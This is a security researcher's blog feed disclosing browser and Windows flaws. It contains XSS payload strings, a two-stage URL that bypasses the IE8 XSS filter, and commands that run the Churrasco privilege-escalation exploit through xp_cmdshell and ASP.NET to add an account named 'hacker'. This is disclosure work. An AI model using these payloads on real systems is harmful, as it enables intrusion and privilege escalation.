tag:blogger.com,1999:blog-30552500184250686232023-11-16T04:11:42.923-08:00No More RootInformation security, exploits, database security, web application security, windows security, hacking, 0day, whatever, etc.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.comBlogger14125tag:blogger.com,1999:blog-3055250018425068623.post-55319565951017067302011-01-25T12:33:00.000-08:002011-01-25T12:36:33.749-08:00Information security sucks (Part I)This will be a series of short blog posts describing why I think information security sucks. <br /><br /><span style="font-weight:bold;">Security software sucks:</span><br />There are security software for any security need (or not), most of these software are not mature enough, they are plagued by security vulnerabilities and they can barely provide all the vendor claimed functionality. Most vendors invest more on marketing than in making the products more secure. If you think about this, for a business standpoint makes sense, since security is a feeling that companies are eager to get and with good marketing vendors can provide the heroin needed by companies. You buy X software and you think you are protected and the chances that the software X will be blamed for a compromise are really low. In case there is a compromise and you were using X software vendor won’t be liable and one less customer won’t affect vendor reputation, there will be always more customers in the pipeline. So vendors can build some crappy software, roll out some cool marketing campaign and star selling the software, when they get enough customers maybe they will start adding the marketing promised functionality, but not security, this is something that vendors “provide” but not care about.<br /><br />Basically we are protecting our assets with insecure software. <br /><br />Most people know that security software have vulnerabilities, every day there is a new vulnerability in an antivirus product, etc. But let’s talk about appliances, some people say that nowadays perimeters are secure that most compromises are because of client side exploits, etc. Networks and servers (email, database, web, etc.) are protected by costly appliances, we are talking about $25k, $50k and more depending on company size, the product itself, etc. If an attacker wants to get in a network protected by X appliance he only needs to get one and find the vulnerabilities, that’s it. The problem for a regular attacker is how to get the appliance because the costs and logistics, but government agencies, criminal organizations, etc. can get them and hack them. All those networks and servers using these appliances are just protected against poor hackers. <br /><br />I challenge all security vendors to expose their appliances for a security community testing if they think they are secure and they are providing real protection to their customers. Who will be the first to stand out?Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com2tag:blogger.com,1999:blog-3055250018425068623.post-11239952823525812322010-01-26T18:28:00.001-08:002010-01-27T04:55:31.372-08:00Google Chrome Drag and Drop funYou must be browsing this page with Google Chrome, if so, open any website (www.google.com will work fine) in another tab and then drag the Windows 3.1 image (below) and drop it over the other website tab, you should get Windows 3.1 running there (Iframe). You can also inject Microsoft web site doing the same with the other image.
<br />
<br /><a onclick="return false;" href="javascript:document.documentElement.innerHTML+%22<iframe src='http://www.michaelv.org' height=500 width=500 style='position:absolute;top:0;left:0;z-index:1;'%3e%22"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibVUuIiCkE5SKUBP_WxIJwoclWkaHjlggECtcHJZGCkryypuArW0_yhgqSbGOJEGnoSDSeQWSx9BSxUabGcXw48J6gVj4Yi-hg3RFPiOaLHtA_fKYDfYAtDXWMiTRew_CYfXevqIM4hx1Y/s320/win31.jpg"/></a>
<br />
<br /><a onclick="return false;" href="javascript:document.documentElement.innerHTML+%22<iframe src='http://www.microsoft.com' height=500 width=500 style='position:absolute;top:0;left:0;z-index:1;'%3e%22"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_47mus2g4V-rDXyRVAk_8ThUT-qm5ktC7_YF_xv4y_DHo5PBXfTk2256BDwrCd42RAPowMFCqDkJu7mZn4RH5bZBYGpzRFyYHGLWuvjLRgb6Zh_HFqoJOuO3Wkdb8FwQpVvoHXyLV-PUi/s320/micros.jpg"/></a>
<br />
<br />
<br />
<br />With Google Chrome any code can be injected from a website to another website by drag and drop. This feature is not available in Firefox, Internet Explorer and Safari.
<br />
<br />I wonder if this can be abused in some way?
<br />
<br />
<br />
<br />Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com3tag:blogger.com,1999:blog-3055250018425068623.post-60548314007506655272010-01-26T13:07:00.000-08:002010-01-26T13:25:59.059-08:00Blogger allows to run arbitrary JavascriptI guess this is a known issue since it's so simple to do it, anyways I think people should be aware of this.<br />Editing a blog post I realized that Blogger allows to run arbitrary Javascript in the blogs, this is good and bad. It's good because you can post demo code and run it, track users, modify the web pages at will, etc. But it's bad because it can be used as a malware distributing system, to steal information from blog visitors, to exploit browser vulnerabilities, etc.<br /><br />Naif demo: <a href="javascript:alert('UserAgent: '+navigator.userAgent+' \nPlatform: '+navigator.platform)">Click here</a><br /><br />BTW: It's not possible to steal Blogger cookies if you are logged since Blogger cookies are used only on Blogger.com and not on *.blogspot.com.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com3tag:blogger.com,1999:blog-3055250018425068623.post-23460385444605983602010-01-09T05:46:00.000-08:002010-01-09T12:43:56.692-08:00Little bug in Safari and Google ChromeI guess a bug in Safari it's not a surprise at all but Google Chrome seems to be a more secure product. Anyways this little bug is not big deal but maybe combined with other bug it could be more dangerous.<br /><br /><link rel="stylesheet" type="text/css" href="http://www.yahoo.com"><br />Hola<br /><script language="javascript"><br />setTimeout("alert(document.styleSheets[0].href)", 10000);<br />//setTimeout is used just to wait for page loading<br /></script><br /><br /><br />The code above should display the same href value as in the LINK tag but it displays the final URL if there is a redirection, here in my country when you browse to <a href="http://www.yahoo.com/">http://www.yahoo.com/</a> you get redirected to <a href="http://ar.yahoo.com/?p=us">http://ar.yahoo.com/?p=us</a> so the above code displays this last URL.<br /><br />Why this is an issue?<br />-There are some websites that put user session ids on the URL querystrings the same for tokens used for CSRF protection, if an attacker can get a user browsing his website then he can use the above code to reference a URL of a website the user is logged on that will be redirected to another URL that could have a session id or token in the querystring and then use this information for more dangerous attacks. Some websites could also have in the querystring some other useful information that could be used for further attacks. Websites putting session ids, tokens, etc. in querystings are already not secure but this issue helps in exploiting them.<br /><br />-An attacker can also use this issue to determine if a user is logged in or not by comparing if the original URL is the same as the final one when trying to access a feature thar requires to be logged in.<br /><br />-Maybe there are other possible ways of abusing this issue that I'm not aware right now.<br /><br />Microsoft Internet Explorer and Mozilla Firefox are not vulnerable to this.<br /><br />Enjoy.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com8tag:blogger.com,1999:blog-3055250018425068623.post-79247321512692736232009-12-31T12:06:00.000-08:002009-12-31T12:56:39.950-08:008 years hacking Microsoft stuff, +50 vulnerabilities found2009 is ending and I thought it would be nice to write down my personal record on Microsoft vulnerabilities. I started finding vulns in MS products in 2002 and these are most of them:<br /><br />-Microsoft Biztalk Server ISAPI HTTP Receive function buffer overflow<br />-Microsoft Biztalk Server DTA vulnerable to SQL injection<br />http://www.microsoft.com/technet/security/bulletin/ms03-016.mspx<br /><br />-Microsoft Commerce Server 2002 Weak Registry Key Permissions Weakness<br />http://archives.neohapsis.com/archives/fulldisclosure/2003-q3/0034.html<br /><br />-Microsoft Active Server Pages Cookie Retrieval Issue<br />http://www.appsecinc.com/resources/alerts/general/05-0001.shtml<br /><br />-Microsoft Windows LPC heap overflow<br />http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx<br />http://www.appsecinc.com/resources/alerts/general/07-0001.shtml<br /><br />-Microsoft Windows Utility Manager Local Elevation of Privileges<br />http://www.microsoft.com/technet/security/bulletin/MS04-019.mspx<br />http://marc.info/?l=bugtraq&m=108975382413405&w=2<br />http://www.milw0rm.com/exploits/350<br /><br />-Microsoft Windows Utility Manager Local Elevation of Privileges II<br />http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx<br />http://www.appsecinc.com/resources/alerts/general/04-0001.shtml<br />http://www.milw0rm.com/exploits/271<br /><br />-Microsoft Windows Improper Token Validation<br />http://www.appsecinc.com/resources/alerts/general/06-0001.shtml<br />http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx<br />http://www.milw0rm.com/exploits/749<br /><br />-Microsoft Windows GDI Kernel Local Privilege Escalation Vulnerability<br />http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx<br />http://www.argeniss.com/research/ARGENISS-ADV-110604.txt<br />http://www.argeniss.com/research/GDIKernelPoC.c<br /><br />-Microsoft MSDTC COM+ Remote Code Execution Vulnerability<br />http://www.microsoft.com/technet/security/Bulletin/MS05-051.mspx<br /><br />-Microsoft Windows 2000 TroubleShooter ActiveX Control Buffer Overflow Vulnerability<br />http://www.microsoft.com/technet/security/bulletin/ms03-042.mspx<br />http://marc.info/?l=ntbugtraq&m=106632192709608&w=2<br /><br />-Microsoft Windows COM Structured Storage Local Privilege Escalation Vulnerability<br />http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx<br />http://www.argeniss.com/research/hackwininter.zip<br />http://www.argeniss.com/research/WLSI.zip<br /><br />-Microsoft Windows Thread Pool ACL Local Privilege Escalation Vulnerability<br />-Microsoft Windows RPCSS Service Isolation Local Privilege Escalation Vulnerability<br />-Microsoft Windows MSDTC Service Isolation Vulnerability<br />-Microsoft Windows WMI Service Isolation Local Privilege Escalation Vulnerability<br />http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx<br />http://www.argeniss.com/research/TokenKidnapping.pdf<br />http://www.argeniss.com/research/Churrasco.zip<br />http://www.argeniss.com/research/Churrasco2.zip<br /><br />-Microsoft Windows Shell Could Allow Remote Code Execution (2 vulns)<br />http://www.argeniss.com/research/MSBugPaper.pdf<br />http://www.microsoft.com/technet/security/Bulletin/MS05-049.mspx<br /><br />-Microsoft SQL Server Heterogenous Queries Buffer Overflow<br />http://www.appsecinc.com/resources/alerts/mssql/02-0008.shtml<br />http://www.microsoft.com/technet/security/Bulletin/MS02-007.mspx<br /><br />-Microsoft SQL Server xp_dirtree Buffer Overflow<br />http://www.appsecinc.com/resources/alerts/mssql/02-0007.shtml<br />http://www.microsoft.com/technet/security/Bulletin/MS02-020.mspx<br /><br />-Microsoft SQL Server Buffer Overflows in numerous extended stored procedures (17 vulns)<br />http://www.appsecinc.com/resources/alerts/mssql/02-0000.shtml<br />http://www.microsoft.com/technet/security/Bulletin/MS02-020.mspx<br /><br />-Microsoft SQL Server encoded password written by service pack<br />http://www.appsecinc.com/resources/alerts/mssql/02-0009.shtml<br />http://www.microsoft.com/technet/security/Bulletin/MS02-035.mspx<br /><br />-Microsoft SQL Server BULK INSERT buffer overflow<br />http://www.microsoft.com/technet/security/bulletin/MS02-034.asp<br />http://www.appsecinc.com/resources/alerts/mssql/02-0010.shtml<br /><br />-Microsoft SQL Server multiple buffer overflows in DBCC and SQL Injections (6 vulns)<br />http://www.appsecinc.com/resources/alerts/mssql/02-0011.shtml<br />http://www.microsoft.com/technet/security/Bulletin/MS02-038.mspx<br /><br />-Microsoft SQL Server multiple vulnerabilities (5 vulns)<br />http://www.blackhat.com/presentations/win-usa-03/bh-win-03-cerrudo/bh-win-03-cerrudo.pdf<br /><br />--------0--------<br /><br />If you count them, they are 50 vulnerabilities in total, 14 are Microsoft Windows specific. Actually the real count should be +50, few not mentioned vulnerabilities were patched in service packs, new versions, not acknoledged by MS as vulnerabilities, etc.<br />Of course I'm not mentioning there the 0days I have, with them the count is >50, reaching 20 specific to MS Windows.<br /><br />Microsoft should give me a prize someday ;)Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com5tag:blogger.com,1999:blog-3055250018425068623.post-17488314309237185952009-10-27T06:51:00.000-07:002009-10-27T07:11:09.193-07:00Token Kidnapping's RevengeFinally I got some free time to take a look at Windows for security issues, I was initialy amazed with Windows 7 and Windows 2008 R2 they looked really solid but after some time I started to find some issues.<br />These issues are not really dangerous (depending on the scenario) but allow to continue exploiting Windows using a new attack vector to perform Token Kidnapping (<a href="http://www.argeniss.com/research/TokenKidnapping.pdf">http://www.argeniss.com/research/TokenKidnapping.pdf</a>) .<br />Don't get me wrong MS properly fixed the issues (<a href="http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx</a>) detailed in Token Kidnapping presentation but they didn't find/fix all the attack vectors.<br />With this new attack vector it's still possible to elevate privileges to Local System account from almost any process that has impersonation rights bypassing new Windows services protections such as Per service SID, Write restricted token, etc<br />Probably I will be presenting the findings at Hackers to Hackers Conference in Brazil (<a href="http://www.h2hc.com.br/">http://www.h2hc.com.br/</a>) in a couple of weeks.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com2tag:blogger.com,1999:blog-3055250018425068623.post-44990471693313063522009-04-07T11:03:00.000-07:002009-04-07T11:06:35.257-07:00Opening Intranets to attacks by using Internet ExplorerI just released a whitepaper titled: Opening Intranets to attacks by using Internet Explorer, I hope you find it interesting, you can find it here <a href="http://www.argeniss.com/research/HackingIntranets.pdf">http://www.argeniss.com/research/HackingIntranets.pdf</a><br /><br /><br />Enjoy.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com1tag:blogger.com,1999:blog-3055250018425068623.post-35392308464698933932009-03-16T13:09:00.000-07:002009-03-20T06:20:56.936-07:00Antivirus, antivirus, antivirus...My last post was about a bug in an antivirus product, not big deal, all software has bugs.<br />I was kindly pointed to this article <a href="http://isc.sans.org/diary.html?storyid=6010">http://isc.sans.org/diary.html?storyid=6010</a> by Ryan Naraine, it's about an incident were one of my token kidnapping exploits was used, it's a weird feeling to know that some tool of yours was used in an attack but in the end it's not about the tools it's about the user, the intention, etc. anyways, what really surprized me was that no antivirus is detecting the exploits!!! we all know that antivirus suck but not being able to detect a very old exploit with signature analysis that really sucks.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com2tag:blogger.com,1999:blog-3055250018425068623.post-55022721876332168162008-12-10T14:32:00.000-08:002008-12-10T15:20:15.740-08:00Bypassing Norton Antivirus "Product Tamper Protection"What's Norton Product Tamper Protection? It's a security setting on Norton Antivirus that "Lets you protect your Norton product from an attack or modification by unknown, suspicious, or threatening applications", the option is enabled by default. Basically it protects NAV processes so other processes can't access them (debug, inject code, modify thread execution, etc.), it doesn't matter that current user has permission on them he won't be able to access Norton Antivirus processes.<br /><br />Without doing much research I guess NAV intercepts Native API calls and return access denied when trying to open a NAV process or thread with dangerous access options. The problem is that NAV forgot to also protect other process objects such as shared sections, LPC ports, etc., so an attacker can put code in a shared section and then make the process jump to the injected code, lets see how to do it.<br /><br />Injecting and running code on NAV GUI process:<br />When pressing F1 or accessing NAV GUI help, Windows HTML Help is loaded, NAV GUI process uses HTML Help ActiveX so no new process is created. When the HTML Help is loaded a shared section named \BaseNamedObjects\DfSharedHeapXXXXXX (where XXXXXX are hex numbers) is created, this particular shared section is related with a vulnerability I found long time ago (<a href="http://www.argeniss.com/research/SSExploit.c">http://www.argeniss.com/research/SSExploit.c</a>) where besides the shared section being created on user process it was also created in a privileged process under certain circumstances, this shared section has pointers saved so it was possible to overwrite them and make the process to execute arbitrary code elevating privileges (<a href="http://www.argeniss.com/research/hackwininter.zip">http://www.argeniss.com/research/hackwininter.zip</a>). Microsoft fixed this issue (<a href="http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx">http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx</a>) by avoiding the creation of the shared section on privileged processes, so there isn't elevation of privileges anymore but you still can overwrite the data in the shared section of course you will only be able to execute code in a process you already own, but in this case this issue can be used to bypass NAV process protection since you will be able to modify NAV GUI process and run arbitrary code inside it.<br /><br />This is not big deal but it shows that sometimes some protections are useless when they are not properly audited and a simple and known issue can be used to bypass them.<br /><br />Enjoy.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com1tag:blogger.com,1999:blog-3055250018425068623.post-82112212612764049302008-10-20T16:52:00.000-07:002008-10-20T16:55:54.030-07:00Token Kidnapping Windows 2008 PoC exploitNow it's time for Windows 2008 exploit (it should work on Windows 2003 too)<br />You will see that the super secure IIS 7 can be owned, too weak by default :)<br /><br />You can find the PoC exploit here <a href="http://www.argeniss.com/research/Churrasco2.zip">http://www.argeniss.com/research/Churrasco2.zip</a><br />Enjoy.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com0tag:blogger.com,1999:blog-3055250018425068623.post-3038691453593537372008-10-07T16:10:00.000-07:002008-10-08T12:22:00.855-07:00Token Kidnapping Windows 2003 PoC exploitIt has been a long time since Token Kidnapping presentation (<a href="http://www.argeniss.com/research/TokenKidnapping.pdf">http://www.argeniss.com/research/TokenKidnapping.pdf</a>) was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.<br /><br />Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate.<br />Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide shared hosting services then I would recomend to not allow users to run this kind of code from ASP.<br /><br /><br />-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:<br /><br />exec xp_cmdshell 'churrasco "net user /add hacker"'<br /><br /><br />-Exploiting IIS 6 with ASP .NET :<br />...<br />System.Diagnostics.Process myP = new System.Diagnostics.Process();<br />myP.StartInfo.RedirectStandardOutput = true;<br />myP.StartInfo.FileName=Server.MapPath("churrasco.exe");<br />myP.StartInfo.UseShellExecute = false;<br />myP.StartInfo.Arguments= " \"net user /add hacker\" ";<br />myP.Start();<br />string output = myP.StandardOutput.ReadToEnd();<br />Response.Write(output);<br />...<br /><br /><br />You can find the PoC exploit here <a href="http://www.argeniss.com/research/Churrasco.zip">http://www.argeniss.com/research/Churrasco.zip</a><br /><br />Enjoy.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com12tag:blogger.com,1999:blog-3055250018425068623.post-78158265472571917842008-09-11T04:40:00.000-07:002008-09-11T05:01:59.199-07:00Something that's gone, it's not "really" gone (II)It seems I haven't been very clear in my previous post.<br /><br />I was wrong at saying that: "Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame." What I was trying to say is that Script URLs can still be used to exploit XSS(that's why I listed those XSS strings) when you load the web page in a new tab, new window, in a Frame and in an IFrame. What I missed is that in fact MS did some changes (and a great job) to prevent exploitation of some vulnerabilities such as <a href="http://raffon.net/research/ms/ie/crossdomain/string.html">http://raffon.net/research/ms/ie/crossdomain/string.html</a> , this PoC doesn't work on IE7 and IE8 because Script URLs don't get executed in that context, this prevents some cross domain bugs or make them harder to exploit.<br /><br />But Script URLs can still be used to exploit XSS, they weren't complete disabled/removed in IE7 and IE8, RSnake XSS cheat sheet <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a> has to be updated :) and there is no XSS mitigation related to Script URLs <a href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx">(http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx</a> ) since they still work when exploiting XSS.<br /><br />Alex was very kind to set up a PoC <a href="http://kuza55.awardspace.com/jsuri.html">http://kuza55.awardspace.com/jsuri.html</a> that's shows that you can still get script code executing by using Script URLs.<br /><br />Thanks to David Ross comments pointing out scenarios were Script URLs are not executed.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com0tag:blogger.com,1999:blog-3055250018425068623.post-21894252657431775342008-09-07T17:18:00.000-07:002008-09-07T18:07:51.249-07:00Something that's gone, it's not "really" goneIf you look at RSnake XSS cheat sheet <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a> you will notice that the following:<br /><br /><IMG SRC="javascript:alert('XSS')"<br /><IMG SRC=javascript:alert(&quot;XSS1&quot;)><br /><IMG SRC=`javascript:alert("XSS")`><br /><IMG SRC=javascript:alert(String.fromCharCode(88,83,83,88))><br /><IMG SRC="jav ascript:alert('XSS');"><br /><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"><br /><BODY BACKGROUND="javascript:alert('XSS')"><br /><br />and many other XSS strings listed on the cheat sheet are not working on IE7, ie: you won't get javascript code executed, in fact MS says that they disabled javascript: and vbscript: URLs from some contexts <a href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx">(http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx</a>)<br /><br />If you build an HTML page with the above XSS strings you will find out that the script code doesn't get executed when the HTML page is opened with IE7 but it's only true in some basic scenarios. Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame.<br /><br />Doing a quick reverse engineering it can be seen that when a web page is loaded in a Frame, IFrame, new window or new tab the execution path is a bit different in IE than when you simple load a HTML page. Basically it seems MS forgot to patch some code paths in this case (not the first time, <a href="http://www.argeniss.com/research/MSBugPaper.pdf">http://www.argeniss.com/research/MSBugPaper.pdf</a>) so you get a different behaviour in different scenarios. I wonder if other stuff could be bypassed in this way, who knows, it's needed more time to look deeper.<br /><br />Btw, The same happens in IE8 beta2.<br /><br />This is not big deal nor a security vulnerability but it shows how difficult could be to completely disable/remove functionality in a complex application such as Microsoft Internet ExplorerCesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com0tag:blogger.com,1999:blog-3055250018425068623.post-37371277736298218852008-08-30T15:04:00.000-07:002008-09-01T20:08:16.455-07:00IE8 XSS filterSince IE8 beta2 is out I downloaded and installed it, I wanted to take a look at the brand new XSS filter (<a href="http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx">See here</a>*1). Basically I wanted to see how good it's at filtering XSS, I tried some tricks and it seems to work fine filtering all known XSS attack vectors, etc. So far very good work of MS people.<br /><br />After continuing testing the XSS filter I got a bit disappointed.<br /><br />When exploiting reflected XSS it's needed user interaction, the target user has to browse to a URL, it could be attacker's site that will load a hidden HTML IFrame exploiting the XSS issue without the target user noticing it or the URL could be directly crafted with the XSS attack for the tartget site, both scenarios require user interaction, I call this 1 stage XSS attack since the attack takes place just after the user browses to the URL. This scenario seems to be perfectly handled and filtered by IE8 XSS filter.<br /><br />What about a 2 stage XSS attack?<br />A 2 stage XSS attack is when the user has to browse to a second URL after browing the initial URL for the XSS attack to take place, people may think that this attack is compliated and not reliable but it's simple and very realiable and has almost the same success rate as 1 stage XSS attack since people want to get what they were looking when browsing to the first URL they will continue browsing most of the time.<br /><br />Let's see an example: the target user is supplied with a URL by the attacker, the user browses to this URL and instead of directly exploiting XSS to run code it will be exploited injecting HTML code (no script code no IE8 XSS filtering) to modify the HTML web page adding a link in a way that will persuade the user to click to continue to get what the target user (victim) wanted to get when he first browsed to the URL, after the user clicks a new URL will be opened by IE and this time the XSS attack will take place running code and take over the user session, etc.<br /><br />You are wondering why a 2 stage XSS attack? well, simple because IE8 XSS filter doesn't filter XSS attacks when browsing from the same site (<a href="http://blogs.technet.com/blogfiles/swi/WindowsLiveWriter/IE8XSSFilterArchitectureImplementation_7E69/pic2_thumb.png">See here</a>*2). That's it.<br /><br />Sample:<br /><br />The following URL won't be filtered by IE8:<br />http://somesite/test.asp?param=<a href="test.asp?param=<sc%0aript>alert('owned')</script>"><div style="position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px; padding: 1em;background:black;text-align: center;">click to continue</div></a><br /><br />After browsing the above URL and clicking on the web page the following URL will be loaded:<br />http://somesite/test.asp?param=<script>alert('owned')</script><br /><br />because the navigation comes from same domain IE8 won't filter the XSS attack.<br /><br />Talking about this with kuza55 (<a href="http://kuza55.blogspot.com/">http://kuza55.blogspot.com/</a>) he found this same stuff independently and he had the good idea of using CSS overlays (<a href="http://www.sirdarckcat.net/asdfg.html">http://www.sirdarckcat.net/asdfg.html</a>) to trick the user into clicking the link.<br /><br />Conclusion: Currently IE8 XSS filter doesn't provide much more security. IE8 XSS filter should also filter 2 stage XSS attacks. Luckily IE8 is just in beta, it's a long way for the final release version, I'm sure MS will improve it.Cesar Cerrudohttp://www.blogger.com/profile/06168334482904759553noreply@blogger.com0